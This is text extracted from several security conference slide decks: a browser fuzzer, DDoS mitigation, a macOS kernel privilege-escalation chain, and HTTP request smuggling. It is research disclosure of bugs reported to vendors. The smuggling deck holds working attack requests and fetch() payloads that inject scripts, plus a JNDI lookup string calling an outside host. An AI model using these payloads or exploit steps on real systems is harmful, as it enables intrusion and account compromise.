are currently using. with our own custom modules. Wadi – Memory Error Detector Google's AddressSanitizer (ASan): • AddressSanitizer (ASan) is a clang compiler plugin Developed By Google which allows fast memory error detection. • The run-time library replaces the malloc and free functions. The memory around malloc-ed regions (red zones) is poisoned. The free-ed memory is placed in quarantine and also poisoned. Every memory access is monitored and if address is poisoned a detailed error is returned. • It Helps find use-after-free and heap,stack,global}-buffer overflow bugs in C/C++ programs. For Linux and mac OSX • Google and Mozilla both releases ASan pre built binaries for testing. What is Wadi? • Exploring new tributaries in browser fuzzing. • Grammars are used to describe how browsers should process web content, Wadi turns that around and uses grammars to break browsers. • Wadi already responsible for a handful of high severity bugs in browsers. Why Wadi? • From Chrome, to IE, Wadi identifies exploitable bugs in new and existing web APIs. • The talk introduces Wadi and walks the audience through the steps taken to go from LL(1) grammar to fuzz test cases and browser crashes A simple Intro to The DOM Interfaces are types of objects that allow web applications and web browsers to programmatically access and interact with them to access their members. The Document Object Model (DOM): The Document Object Model provides a standard set of objects for representing HTML and XML documents, a standard model of how these objects can be combined, and a standard interface for accessing and manipulating them. Web API: When writing code for the Web using JavaScript, there are great many APIs available. that you may be able to use developing Web applications. ex: speech, webaudio, gamepad, canvas, webgl, animation, etc.. Wadi Architecture • Wadi is 3538 lines of code. • 2932 of these are grammar for test case generation. • Wadi works as a NodeFuzz Module and it is used to fuzz Chromium and Firefox Asan builds. • Already responsible for a number of bugs. What is Grammar ? Grammar in English explains how a sentence is constructed. The same can be said about Grammars in compilers it describes how the language syntax is constructed the input is parsed based on a set rules “Productions” and tokens defined in the grammar definitions. In fuzzing grammar is used to help the fuzzer generate valid test cases. w3c have provided us with a nice interface definition language(IDL) that defines browser technology interfaces this is utilized by the fuzzer to be able to create and fuzz all attributes and methods used by them. Grammar – IDL Interface According to the IDL definitions an interface is an object with a set of interface members these can be constants, attributes, or functions. Each interface has a unique identifier and inherits from a parent interface if needed. • LL(1) Interface Definition Grammar: "interface" identifier Inheritance "{" InterfaceMembers "}" ";“ Grammar – IDL Interface Example • Identifier: Text • Inheritance: CharacterData interface Text : CharacterData { Text splitText(in unsigned long offset) raises(DOMException); Text replaceWholeText(in DOMString content) raises(DOMException); readonly attribute boolean isElementContentWhitespace; attribute DOMString wholeText; }; Grammar – IDL Interface Members An interface member can be a constant, attribute or function as mentioned before. What we are interested in are the attributes and functions of an interface object. Taking a closer look at how interface members are defined in the IDL specification. • InterfaceMembers: Attributes: isElementContentWhitespace, wholeText Functions: splitText(), replaceWholeText() LL(1) Grammar Interface Member Definition: InterfaceMember → Const | AttributeOrOperation AttributeOrOperation → "stringifier" StringifierAttributeOrOperation | Attribute | Operation Grammar – IDL Attributes An attribute is a declared interface member with an identifier whose value can be retrieved and in some cases changed. LL(1) Grammar Attribute Definition: Attribute → Inherit ReadOnly "attribute" Type identifier ";" Attributes of Example Interface: readonly attribute boolean isElementContentWhitespace; attribute DOMString wholeText; Identifier Input Type ReadOnly isElementContentWhitespace boolean True wholeText DOMString False Example Interface Attributes: Grammar – IDL Functions Functions in the IDL specification is referred to as operations. A function is an interface member that defines behavior that can be invoked on objects implementing the interface. LL(1) Grammar Attribute Definition: Functions of Example Interface: Example Interface Functions: Operation → Qualifiers OperationRest OperationRest → ReturnType OptionalIdentifier "(" ArgumentList ")" ";" Text replaceWholeText(in DOMString content) Text splitText(in unsigned long offset) Identifier Number of Args Arg Identifier Arg Type Return Value replaceWholeText One content DOMString Text splitText One offset unsigned long Text Grammar – Fuzzing Grammar Using the gathered information we can parse the Interface objects in any given IDL to a JavaScript object containing information about the interface members to be used by the fuzzer. There are some main pieces of information gathered from the example interface mainly the interface identifier (Name), inherited parent interface, interface members (methods, attributes). For Attributes and Methods an array of arrays is created with each child array containing information about a single Attribute or method members of the respective interface. A single Attribute array will have three members: *The Attribute Identifier, *function(s) to generate the expected value type+,’readOnly flag’+ A single Method array will have three members: *The Method Identifier, *function(s) to generate method parameters and values+,’high flag’+ Grammar – Fuzzing Grammar Contd. You can code your own functions to generate attribute values and method parameters. Or use the already available helper functions in NodeFuzz „randoms.js‟ file. The main Attributes and Methods arrays are concatenated to the parent interface object attributes and methods arrays to simulate inheritance. Example Interface as defined in the Fuzzing grammar: TextInterface = { 'Name': 'text', 'Attributes': [ ['isElementContentWhitespace',[GenerateExpectedValue()],'readonly'], ['wholeText',[ GenerateExpectedValue()+,’’+ ].concat(CharacterDataInterface.Attributes), 'Methods':[ ['replaceWholeText',[ GenerateExpectedParameters()],'high'], ['splitText',[ GenerateExpectedParameters()],'high'] ].concat(CharacterDataInterface.Methods), 'tagName':'Text', 'style':CSS2PropertiesInterface }; Helper Functions These are some of the helper functions that are implemented in NodeFuzz „randoms.js‟ we can implement our own or tweak the ones already available to our needs these functions are used in generating attributes values, method parameters and all through the test case generation. Name Description randoms() return random number, float value or hex number rint(num) return a random number limited by parameter. ra(array) return a random element an array. arrayWalk(array) return a random element from array if it is a function execute it and retrurn the return value. if it is a string or an int return the value. string(num) return a random length string with length based on a random number limited by the input parameter. randbool() returns random Boolean. floatValue(num) return a random float value. getRandomColor() returns a random color in either hex, hsl, rgbint formats distanceValue() return a random number or float with distance suffixes like px,%,cm, etc ... retURI(num) return a random length URL returnRandomElement() returns a random element from the list of created elements and either try to reference a near by object like 'firstChild','nextSibling',etc ... or just return the element object itself. Fuzzing Module Wadi works on grammar created from the IDL that mapped interfaces to javascript objects using these objects to be able to generate valid JS statements into a string array. Then output an HTML document with a script containing the generated test case. The flow of the Wadi is as follows Test Case generation – Element Creation These are the main and first functions executed by Wadi. It generates JS statements to randomly create elements from the available HTML interfaces and inserts random child text nodes. Name Description createElement() creates a random element from the list of interfaces and saves a reference to the object both in fuzzer space and browser space createTextNode() creates random length text nodes and attach them to random elements in the DOM. mangleElements() randomly mangles element positions within the document. Wadi Output: try { HTML0=document.createElement("EMBED")} catch(e) {} try { HTML0.id="HTML0"} catch(e) {} try { createdElements['HTML0']=HTML0} catch(e) {} try { document.body.appendChild(HTML0)} catch(e) {} Test Case generation – Element Creation Contd. The creation functions will save a references to the created Element objects to the local fuzzer space objects array 'CreatedElements' to be able to access properties and methods of the created element. As well as save a reference to the created object to the browser space to be able to manipulate the saved references. The saved object in fuzzer space will have the following structure for the previous example: { 'objName':HTML0, 'type':'object name', 'object':Embed interface object reference }; Test Case generation – Fuzzing Interfaces Functions Function Description fuzzWindowAttribs, randomly set the 'window' interface object attributes. fuzzWindowMethods, randomly call the 'window' interface object methods. fuzzStyle, Pick a random element and set a random style property using element.style. fuzzStyle1, pick a random style sheet with random reference to element and set random style properties using insertRule. fuzzDocumentAttribs, randomly set the 'document' interface object attributes. fuzzDocumentMethods, randomly call the 'window' interface object methods. deleteRandomKey, deletes a random refence to the created objects saved in the 'createdElements' object in browser space. fuzzPLayerMethods, if no animation player found call the createPlayer() function to create a new animation player and add reference to it in the createElements object array. if a player exist call a random method from the animation interface object. fuzzPlayerAttribs, if no animation player found call the createPlayer() function to create a new animation player and add reference to it in the createElements object array. if a player exist set a random attribute from the animation interface object. Wadi will then call the function fuzz(num) num being the number of rounds to execute fuzzer functions. Simply the fuzz() function picks a random function name from the below list and executes it and return the output JavaScript statement to our string array. Test Case generation – Wadi Interfaces contd. Function Description MutationObserve, creates a random mutation observer and add reference to it in the createElements object array. fuzzMutationObserve, if no mutation observer have been created, call () function if one exists call or set random method or attribute from the Mutation observer interface object. createRangeTraversal, creates a random treeWalker or nodeIterator and add reference to them in the createElements object array. fuzzRangeTraversal, if no range has been created call createRangeTraversal() function. else call or set random method or attribute from the respective NodeIterator Interface or TreeWalker Interface objects. fuzzElementsMethods, randomly set the attributes of a randomly selected element from the list of created elements. fuzzElementsAttribs, randomly call the methods of a randomly selected element from the list of created elements. addLoop, add a random loop function around js block loops are (for, while, setTimeout, setInterval) crossRef, try to set object references to a random other ex: HTML0 = HTML1.firstChild AddEvent, attach a random event to one of the created elements. creates an event object using createEvent directive and add reference to the created event object to a list for later use. dispatchEvt, randomly fires one of the created events. intfuzz return random function name for use ass callbacks for certain operations GarColl, force garbage collection. Test Case generation – preparing the output script • Creating Internal callbacks based on the number of function names returned by intfuzz() • Insert the element creation JS block. • Insert all other object create JS statements. • Randomly insert JS statements returned by fuzz() function. Sample Wadi Output <html><head><style></style></head><body></body> <script> var createdElements={} var createdElements={} function func0(arg) { try {window.addEventListener("select",func0,0)} catch(e) {} try {document.styleSheets[0].insertRule("FONT,FONT {outline-offset: initial; }",0)} catch(e) {} try {delete HTML0} catch(e) {} try {window.status=""} catch(e) {} } try { HTML0=document.createElement("FONT")} catch(e) {} try { HTML0.id="HTML0"} catch(e) {} try { createdElements['HTML0']=HTML0} catch(e) {} try { document.body.appendChild(HTML0)} catch(e) {} try { TXT0=document.createTextNode('ä¤쭅4ዽB£x ]ဒ00fcihF‰f꡴{½-嘖j蹅a2z2墯6')} catch(e) {} try { createdElements['TXT0']=TXT0} catch(e) {} try { HTML0.appendChild(TXT0)} catch(e) {} try { var EVT0= new Event("select",{"bubbles":0, "cacelable":0})} catch(e) {} try { var ni0 = document.createNodeIterator(HTML0.firstChild,32,NodeFilter.FILTER_REJECT,1); createdElements['ni0']=ni0} catch(e) {} try {TXT0.lastChild=""} catch(e) {} try {gc()} catch(e) {} try {createdElements[HTML0].style.imageRendering="pixelated"} catch(e) {} try {delete HTML0} catch(e) {} try {window.status=""} catch(e) {} </script> </html> Results • Using Wadi we were able to find And report 4 confirmed bugs in latest Chromium ASan. version • 2 Were Duplicates. • Issue No: 446517 Duplicate With issue 383777 • Issue No: 445772 Duplicate with Issue: 445638 • 2 were confirmed with security severity high and affecting all OS. Fixed awaiting Release and hopefully reward :D • Issue No: 445332 • Issue No: 453279 BUG#1 Issue No:446517 BUG#2 Issue No:445772 BUG#3 Issue No:445332 BUG#4 Issue No:453279 References • http://www.w3.org/DOM/ • http://www.w3.org/TR/WebIDL/ • Fuzzing Brute Force Vulnerability Discovery: Michael Sutton, Adam Greene, Michael Pedram Amini. • Fuzzing for Software Security Testing and Quality Assurance: Ari Takanen, Jared D. Demott, Charlie Miller. • Browser bug hunting - Memoirs of a last man standing: Atte Kettunen 44con talk. Q&A
pdf
DDoS Protecion Total AnnihilationD DDoS Mitigation Lab A DDoS Mitigation Lab Independent academic R&D division of Nexusguard building next generation DDoS mitigation knowledge and collaborate with defense community. Industry body formed to foster synergy among stakeholders to promote advancement in DDoS defense knowledge. DDoS Mitigation Lab DDoS Mitigation Lab  DDoS Relevance, Attack Categories, Detection & Mitigation  Source Host Verification: Authentication Methods  TCP SYN Auth  HTTP Redirect Auth  HTTP Cookie Auth  JavaScript Auth  CAPTCHA Auth  PoC Tool  TCP Traffic Model  HTTP Traffic Model DDoS Mitigation Lab Size Bandwidth > 20Gbps Complexity Layer 7 > 30% Frequency Attack > 2.5mil per year Cost Lost > US$6M per hour!! Source: NTT Communications, “Successfully Combating DDoS Attacks” (Aug 2012) DDoS Mitigation Lab Volumetric Semantic Blended DDoS Mitigation Lab DDoS Mitigation Lab DDoS Mitigation Lab SYN ACK SYN ACK RST SYN SYN ACK ACK  DDoS Mitigation Lab RST SYN SYN ACK SYN SYN ACK ACK  DDoS Mitigation Lab GET /index.html HTTP 302 redir to /foo/index.html GET /foo/index.html HTTP 302 redir to /index.html GET /index.html  DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html HTTP 302 redir to /index.html GET /index.html GET /index.html  DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html [X-Header: foo=bar] GET /index.html [X-Header: foo=bar] GET /index.html [X-Header: foo=bar] HTTP 302 redir to /index.html [X-Header: foo=bar]  GET /index.html [X-Header: foo=bar] DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html GET /index.html POST /auth.php ans=16 JS 7+nine=?  DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html GET /index.html POST /auth.php  DDoS Mitigation Lab c DDoS Mitigation Lab c DDoS Mitigation Lab c DDoS Mitigation Lab Number of Connections Connection Hold Time Before 1st Request Connection Idle Timeout After Last Request Connections Interval Connections Interval DDoS Mitigation Lab c DDoS Mitigation Lab Number of Requests per Connection Requests Interval Requests Interval Requests Interval DDoS Mitigation Lab Testing results under specific conditions, valid as of Jul 13, 2013 DDoS Mitigation Lab Testing results under specific conditions, valid as of Jul 13, 2013 DDoS Mitigation Lab Testing results under specific conditions, valid as of Jul 13, 2013 DDoS Mitigation Lab tony.miu@nexusguard.com waileng.lee@bloodspear.org
pdf
Rooting macOS Big Sur on Apple Silicon Xinru Chi and Tielei Wang About us • Xinru Chi • Security Researcher in Pangu Lab • Extensive experience in macOS/iOS vulnerability research • Tielei Wang • Ph.D from PKU, Research scientist at Georgia Tech from 2011-2014 • Known for releasing jailbreak tools for iOS 7-9 • Organizers of MOSEC (Mobile Security Conference) The story begins with security contents of iOS 14.2 iOS 14.2, released on Nov 5, 2020, fixed an in-the-wild exploit reported by GP0. First in-the-wild exploit since iOS 14 (?) Safari RCE (CVE-2020-27930) kernel info leak (CVE-2020-27950) kernel type confusion (CVE-2020-27932) Let’s diff the kernel • Apple still maintains iOS 12 for old devices • Updates for iOS 12.4.9 only have 4 CVEs • Updates for iOS 14.2 have *26* CVEs • Of course, diffing 12.4.9 vs 12.4.8 is better Kernel info leak jumps into eyes Kernel info leak jumps into eyes • Adds “bzero mach msg trailer” at multiple functions • Apparently, it leaks uninitialized kernel memory from mach msg trailers • Refer to the following links for more analysis https://www.synacktiv.com/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak.html https://bugs.chromium.org/p/project-zero/issues/detail?id=2108 Type confusion seems easy too • host_request_notification function adds an extra check on port’s type Type confusion seems easy too • host_request_notification function adds an extra check on port’s type Take a quick look at port struct Let’s construct a PoC • Plan 1: make a special reply port and pass it to host_request_notification, it may trigger the type confusion Let’s construct a PoC • Plan 1: make a special reply port and pass it to host_request_notification, it may trigger the type confusion Let’s construct a PoC • Plan 1: make a special reply port and pass it to host_request_notification, it may trigger the type confusion • Unfortunately, no panic. • Maybe we should trigger the notification or deallocate the port? Let’s construct a PoC • Maybe we should trigger the notification or deallocate the port? • Unfortunately, still no panic. Let’s construct a PoC Things get complicated • We need to understand how a special reply port is different from regular ports • After reading the XNU source code, we realized that it is very complicated • A special reply port could be linked to a port, a work loop via a knote, a work loop via a knote stash, etc. • Don’t try to understand these terms, because neither can I :) Construct PoC Understand special reply ports Things get complicated • In order to understand how a special reply port is different from regular ports, we need to know how a special reply port is used Construct PoC Understand special reply ports Know how to use special reply ports Luck hasn't run out yet • Found a pretty interesting test case in the XNU source code package • xnu/tests/prioritize_process_launch_helper.c Construct PoC Understand special reply ports Know how to use special reply ports XNU has a test case!!! A customized send • Send a mach port msg_port via a complex mach message to send_port with reply port reply_port • A few things to note • msg_port is sent with MACH_MSG_TYPE_MOVE_RECEIVE • mach_msg uses the option MACH_SEND_SYNC_OVERRIDE Let’s construct a PoC again • Plan 2: make a special reply port, use it in the customized send function, pass it to host_request_notification, and then deallocate the port • Yes, this poc triggered a panic! Let’s construct a PoC again • Plan 2: make a special reply port, use it in the customized send function, pass it to host_request_notification, and then deallocate the port • Please refer to the following links for more analysis and PoC examples https://bugs.chromium.org/p/project-zero/issues/detail?id=2107 https://worthdoingbadly.com/specialreply/ However things get even more complicated • When analyzing the panic, we found more panics, regardless of host_request_notification The magical send dst_port is a regular port that we have “send” and “recv” rights send a null port to dst_port, use special_reply_port as reply port send the special_reply_port to dst_port, no reply port The magical send type confusion between turnstile and ipc_kmsg? send special_reply_port to itself, use itself as reply port The magical send send a null port to dst_port, use special_reply_port as reply port send special_reply_port to itself, use itself as reply port The magical send No panic! send a null port to dst_port, use special_reply_port as reply port send special_reply_port to itself, use itself as reply port The magical send send special_reply_port to itself, use itself as reply port send a null port to dst_port, use special_reply_port as reply port receive from dst_port dst_port became inactive! Do so many different panics have the same root cause? Root cause analysis ipc_kmsg_copyin_header ipc_kmsg_copyin mach_msg_overwrite_trap ipc_kmsg_set_qos Using a special_reply_port as the reply port and MACH_SEND_SYNC_OVERRIDE in the mach_msg option will lead to ipc_port_link_special_reply_port Root cause analysis ipc_port_link_special_reply_port ipc_kmsg_copyin_header ipc_kmsg_copyin mach_msg_overwrite_trap ipc_kmsg_set_qos ipc_port_link_special_reply_port Review the port struct io_bits indicates the type of a port io_references is the reference counter of the port kdata is a union struct Root cause analysis ipc_port_link_special_reply_port kdata.sync_inheritor_port … special_reply_port io_references dst_port io_bits io_references io_bits Root cause analysis The second send is very complicated, but there are three key steps Root cause analysis 1. msg_port is sent with MACH_MSG_TYPE_MOVE_RECEIVE ipc_kmsg_copyin_body ipc_kmsg_copyin mach_msg_overwrite_trap ipc_kmsg_copyin_port_descriptor ipc_object_copyin ipc_right_copyin special_reply_port’s ip_tempowner is set 1 Hold on, there is an assert! port->ip_imp_task and port->sync_inheritor_port are the same thing, pointing to dst_port kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port io_bits io_references io_bits ip_tempowner=1 assert is optimized out in release versions! port->ip_imp_task and port->sync_inheritor_port are the same thing, pointing to dst_port kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port io_bits io_references io_bits ip_tempowner=1 Root cause analysis 2. sending a port to itself will trigger a circularity check the kmsg is set with MACH_MSGH_BITS_CIRCULAR ipc_kmsg_copyin_body ipc_kmsg_copyin mach_msg_overwrite_trap ipc_kmsg_copyin_port_descriptor ipc_port_check_circularity Root cause analysis 2. sending a port to itself will trigger a circularity check ipc_kmsg_destroy ipc_kmsg_send mach_msg_overwrite_trap the kmsg gets destroyed due to the circularity check Root cause analysis 3. destroying the kmsg leads to msg_port destruction ipc_kmsg_clean_body ipc_kmsg_clean ipc_kmsg_destroy ipc_object_destroy ipc_port_release_receive ipc_port_destroy ipc_port_destroy • How to destroy the special_reply_port? There is a simplified version! kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port io_bits io_references io_bits ip_tempowner=1 What happened? • How to destroy the special_reply_port? There is a simplified version! kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port io_bits io_references io_bits ip_tempowner=1 ipc_importance_task_release(dst_port)! ipc_importance_task_release A type confusion between ipc_port and ipc_importance_task_t! Consequence of the type confusion • ipc_importance_task_release leads to iie_bits decrement io_references dst_port io_bits iie_made ipc_importance_task_t iie_bits ipc_importance_task_release(dst_port) leads to decrement of dst_port’s io_bits How the panic happened IO_BITS_ACTIVE 0x80000000 /* is object alive? */ kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port 0x80000000 io_references io_bits ip_tempowner=0 kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port 0x80000000 io_references io_bits ip_tempowner=1 How the panic happened kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port 0x7fffffff io_references io_bits ip_tempowner=1 How the panic happened destroyed by ipc_port_destroy io_bits decrement due to the type confusion kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port 0x7fffffff io_references io_bits ip_tempowner=1 How the panic happened trigger the inactive port panic io_bits decrement due to the type confusion A short wrap-up this piece of code will decrease dst_port’s io_bits by 1 Review port’s io_bits Review port’s io_bits 0x80000000 e.g., a regular port’s io_bits IO_BITS_ACTIVE Review port’s io_bits 0x8000081d e.g., a userclient port’s io_bits IO_BITS_ACTIVE IO_BITS_KOBJECT IKOT_IOKIT_CONNECT Review port’s io_bits 0x80000825 e.g., a voucher port’s io_bits IO_BITS_ACTIVE IO_BITS_KOBJECT IKOT_VOUCHER We can change a port’s type now! this piece of code will decrease dst_port’s io_bits from from to to. Q1: what’s the consequence of changing port’s type? • It will lead to kobject type confusions and forms a giant attack surface • From higher types to lower types • For example, we can change a voucher port to a userclient port, and use it as a userclient port Q2: Does PAC prevent the kobject type confusions? • Yes or no. • First, kobject is pac’ed Q2: Does PAC prevent the kobject type confusions? • XNU_PTRAUTH_SIGNED_PTR generates the pac code using where the pointer is stored and pointer’s discriminator (ipc_port.kobject) • As a result, changing port’s io_bits does not affect kobject’s pac computation! Q2: Does PAC prevent the kobject type confusions? • However, kobject, according to its specific type, may contain other pac’ed fields. • e.g., vtable pointer in userclient objects panic due to vtable call “obj-retain()” Q2: Does PAC prevent the kobject type confusions? • PAC does not directly prevent kobject type confusions, but limits the scope of the confusions. Q3: is this issue exploitable? • Yes, our talk is entitled “Rooting macOS Big Sur on Apple Silicon” Exploit type confusion on Big Sur with Apple Silicon • Big Sur on Apple Silicon = macOS features + iOS like protections Chose some privileged ports as target • Some special, privileged ports are only available for root, but now we have a chance to forge them through the type confusions Our choice: change a vm_named_entry to host_security • Both have a lock struct at the beginning Benefit from host_security_t • We are able to change task tokens through host_security_set_task_token! host_security_set_task_token • host_security_set_task_token resets a task’s sec_token and audit_token What is a task token used for? • Do you still remember the info leak via mach message trailer at the very beginning? • sec_token and audit_token are used to support mach msg audit, containing critical information such as pid/uid/gid We can forge any sec_token and audit_token • Sending no-more-sender notification? • Hijacking XPC communications? • Breaking the sandbox? Old-school style • kuncd is a user space service that is supposed to only handle mach message from the kernel to execute user-space tools • kuncd checks the audit_token in the mach message trailer so that it only handles mach messages from the kernel Let kuncd start a terminal as root demo • Reset our task’s token with kernel audit token, and send a mach message to kuncd to launch terminal as root demo The whole picture analysis the patch in host_request_notification type confusion between ipc_port and ipc_importance_task_t semi-arbitrary port type confusion type confusion between vm_named_entry and host_security_port forge arbitrary audit token kuncd launch terminal The whole picture Not covered in the talk analysis the patch in host_request_notification type confusion between ipc_port and ipc_importance_task_t semi-arbitrary port type confusion type confusion between vm_named_entry and host_security_port forge arbitrary audit token kuncd launch terminal other confusions such as turnstile and ipc_kmsg other kobject type confusions other abuses of the audit_token analysis the patch in host_request_notification type confusion between ipc_port and ipc_importance_task_t semi-arbitrary port type confusion type confusion between vm_named_entry and host_security_port forge arbitrary audit token kuncd launch terminal other confusions such as turnstile and ipc_kmsg other kobject type confusions other abuses of the audit_token The fix The fix • Apple added more checks on special reply ports in macOS 11.2 cannot send a special reply port with MACH_MSG_TYPE_MOVE_RECEIVE Conclusion • Variant analysis brings surprises • Port type confusion forms a giant attack surface • Data type confusion survives from PAC, even MTE Thank you!
pdf
Browser-Powered Desync Attacks James Ke(le A New Frontier in HTTP Request Smuggling Warning / disclaimer These slides are intended to supplement the presenta1on. They are not suitable for stand-alone consump1on. You can find the whitepaper and presenta1on recording here: h=ps://portswigger.net/research/browser-powered-desync-a=acks If it’s not uploaded yet, you can get no1fied when it’s ready by following me at h"ps://twi"er.com/albinowax - albinowax A problem and a discovery 2019 Problem: Request Smuggling false positives Solution: Never reuse HTTP/1.1 connections 2021 Problem: Connection-locked request smuggling Solution: Always reuse HTTP/1.1 connections X X CVE-2020-12440 replica lab on portswigger.net/academy portswigger/{http-request-smuggler,turbo-intruder} Full PoC exploit code available in whitepaper • HTTP handling anomalies • Client-side desync • Pause-based desync • Defence & Takeaways • Q&A Outline HTTP handling anomalies The request is a lie Connection state attacks: first-request validation GET / HTTP/1.1 Host: www.example.com GET / HTTP/1.1 Host: intranet.example.com GET / HTTP/1.1 Host: www.example.com GET / HTTP/1.1 Host: intranet.example.com HTTP/1.1 200 OK -connection reset- HTTP/1.1 200 OK HTTP/1.1 200 OK Internal website Connection state attacks: first-request routing POST /pwreset HTTP/1.1 Host: example.com POST /pwreset HTTP/1.1 Host: psres.net POST /pwreset HTTP/1.1 Host: example.com POST /pwreset HTTP/1.1 Host: psres.net HTTP/1.1 302 Found Location: /login HTTP/1.1 421 Misdirected HTTP/1.1 302 Found Location: /login HTTP/1.1 302 Found Location: /login ✉ Reset your password: https://psres.net/reset?k=secret Sometimes: 200 OK Sometimes: 400 Bad Request X The surprise factor POST / HTTP/1.1 Transfer-Encoding: chunked 0 malicious-prefix :method POST :path / For request smuggling, all you need is a server taken by surprise ALB 2021-07-28: Reported 2021-08-05: Fixed 0 malicious-prefix HTTP/1.1 404 Not Found Content-Length: 162… GET / HTTP/1.1 Host: example.com Detecting regular CL.TE POST / HTTP/1.1 Content-Length: 41 Transfer-Encoding: chunked 0 GET /hopefully404 HTTP/1.1 Foo: bar HTTP/1.1 301 Moved Permanently Location: /en READ READ Detecting connection-locked CL.TE POST / HTTP/1.1 Content-Length: 41 Transfer-Encoding: chunked 0 GET /hopefully404 HTTP/1.1 Foo: bar HTTP/1.1 301 Moved Permanently Location: /en HTTP/1.1 404 Not Found Content-Length: 162… READ READ Is the front-end using the Content-Length? Can't tell GET / HTTP/1.1 Host: example.com DetecDng connecDon-locked CL.TE POST / HTTP/1.1 Content-Length: 41 Transfer-Encoding: chunked 0 HTTP/1.1 301 Moved Permanently Location: /en EARLY READ Is the front-end using the Content-Length? No DetecDng connecDon-locked CL.TE POST / HTTP/1.1 Content-Length: 41 Transfer-Encoding: chunked 0 GET /hopefully404 HTTP/1.1 Foo: bar HTTP/1.1 301 Moved Permanently Location: /en HTTP/1.1 404 Not Found Content-Length: 162… EARLY READ READ ⌛ <no data> READ GET / HTTP/1.1 Host: example.com Finding: Barracuda ADC in front of IIS. Patched in 6.5.0.007 Is the front-end using the Content-Length? Yes CL.0 browser-compatible desync POST / HTTP/1.1 Host: redacted Content-Length: 3 xyz HTTP/1.1 200 OK HTTP/1.1 405 Method Not Allowed GET / HTTP/1.1 Host: redacted Taxonomy TE.CL and CL.TE // classic request smuggling H2.CL and H2.TE // HTTP/2 downgrade smuggling CL.0 // this H2.0 // implied by CL.0 0.CL and 0.TE // unexploitable without pipelining H2.0 on amazon.com POST /b/? HTTP/2 Host: www.amazon.com Content-Length: 31 GET /favicon.ico HTTP/1.1 X: X HTTP/2 200 OK Content-Type: text/html HTTP/2 200 OK Content-Type: image/x-icon POST /gp/customer-reviews/aj/private/ reviewsGallery/get-image-gallery HTTP/1.1 X-Amz-SideCar-Enabled: on X-Amz-Sidecar-Destination-Host: http://us-other-iad7.amazon.com:1080 X-Forwarded-Host: … GET / HTTP/1.1 Host: www.amazon.com 2021-10-26: Reported <2022-08-10: Fixed Client-Side Desync (CSD) Client-side desync CSD Methodology Tool requirements: - ConnecBon-reuse visibility & controls - Content-Length override - HTTP Request Smugger 2.1 / Turbo Intruder 1.3, Burp Suite {Pro,Community} 2022.8 Browser: - CSD works similarly on all browsers tested - Chrome has the most useful dev tools Detect CSD vector POST /favicon.ico HTTP/1.1 Host: example.com Content-Type: text/plain Content-Length: 5 X 1. Server ignores Content-Length - Server-error - Surprise factor 2. Request can be triggered cross-domain - POST method, no unusual headers - Server doesn't support HTTP/2* 3. Server leaves connec=on open Confirm vector in browser fetch('https://example.com/..%2f', { method: 'POST', body: "GET /hopefully404 HTTP/1.1\r\nX: Y", mode: 'no-cors', // make devtools useful credentials: 'include' // poison correct pool }).then(() => { location = 'https://example.com/' }) Matching connecBon IDs Poisoned status - Disable proxy, open cross-domain HTTPS aVacker site - Open DevTools Network tab, enable Preserve Log & ConnecXon ID Store Chain & Pivot • User-Agent: ${jndi:ldap://x.oastify.com} • Impossible CSRF Attack • Host-header redirects • HEAD-splicing XSS • Challenges: precision, stacked-responses Explore exploitation routes Akamai - detection POST /assets HTTP/1.1 Host: www.capitalone.ca Content-Length: 30 GET /robots.txt HTTP/1.1 X: Y HTTP/1.1 301 Moved Permanently Location: /assets/ HTTP/1.1 200 OK Allow: / fetch('https://www.capitalone.ca/assets', {method: 'POST', body: "GET /robots.txt HTTP/1.1\r\nX: Y", mode: 'no-cors', credentials: 'include'}) Name Status Connection ID /assets 301 1135468 /assets/ 200 1135468 GET /assets/ HTTP/1.1 Host: www.capitalone.ca Allow: / Akamai – Stacked HEAD POST /assets HTTP/1.1 Host: www.capitalone.ca Content-Length: 67 HEAD /404/?cb=123 HTTP/1.1 GET /x?<script>evil() HTTP/1.1 X: Y HTTP/1.1 301 Moved Permanently Location: /assets/ HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 432837 HTTP/1.1 301 Moved Permanently Location: /x/?<script>evil() OVER READ READ READ GET / HTTP/1.1 Host: www.capitalone.ca fetch('https://www.capitalone.ca/assets', { method: 'POST', // use a cache-buster to delay the response body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\n Host: www.capitalone.ca\r\n \r\n GET /x?x=<script>alert(1)</script> HTTP/1.1\r\n X: Y`, credentials: 'include', mode: 'cors' // throw an error instead of following redirect }).catch(() => { location = 'https://www.capitalone.ca/' }) Akamai – Stacked HEAD 2021-11-03: Reported <2022-05-23: Fixed Cisco Web VPN - Client-side Cache Poisoning POST / HTTP/1.1 Host: redacted.com Content-Length: 46 GET /+webvpn+/ HTTP/1.1 Host: psres.net X: Y HTTP/1.1 200 OK HTTP/1.1 301 Moved Permanently Location: https://psres.net/+webvpn+/index => https://redacted.com/+CSCOE+/logon.html <script src="https://redacted.com/+CSCOE+/win.js"> => 301 Moved Permanently (from cache) => https://psres.net/+webvpn+/index => malicious() https://psres.net/launchAttack.html: Browser cache entry for /win.js is now poisoned GET /+CSCOE+/win.js HTTP/1.1 Host: redacted.com 2021-11-10: Reported 2022-03-02: wontfix'd CVE-2022-20713 Verisign – fragmented chunk POST /%2f HTTP/1.1 Host: www.verisign.com Content-Length: 81 HEAD / HTTP/1.1 Connection: keep-alive Transfer-Encoding: chunked 34d POST / HTTP/1.1 Host: www.verisign.com Content-Length: 59 0 GET /<script>evil() HTTP/1.1 Host: www.verisign.com HTTP/1.1 200 OK HTTP/1.1 200 OK Content-Length: 54873 Content-Type: text/html HTTP/1.1 301 Moved Permanently Location: /en_US/<script>evil()/index.xhtml 2021-12-22: Reported 2022-07-21: Fixed Pulse Secure VPN – an approach of last resort Regular CSD attacks: 1. Create a poisoned connection 2. Trigger navigation Hijacking JS with a 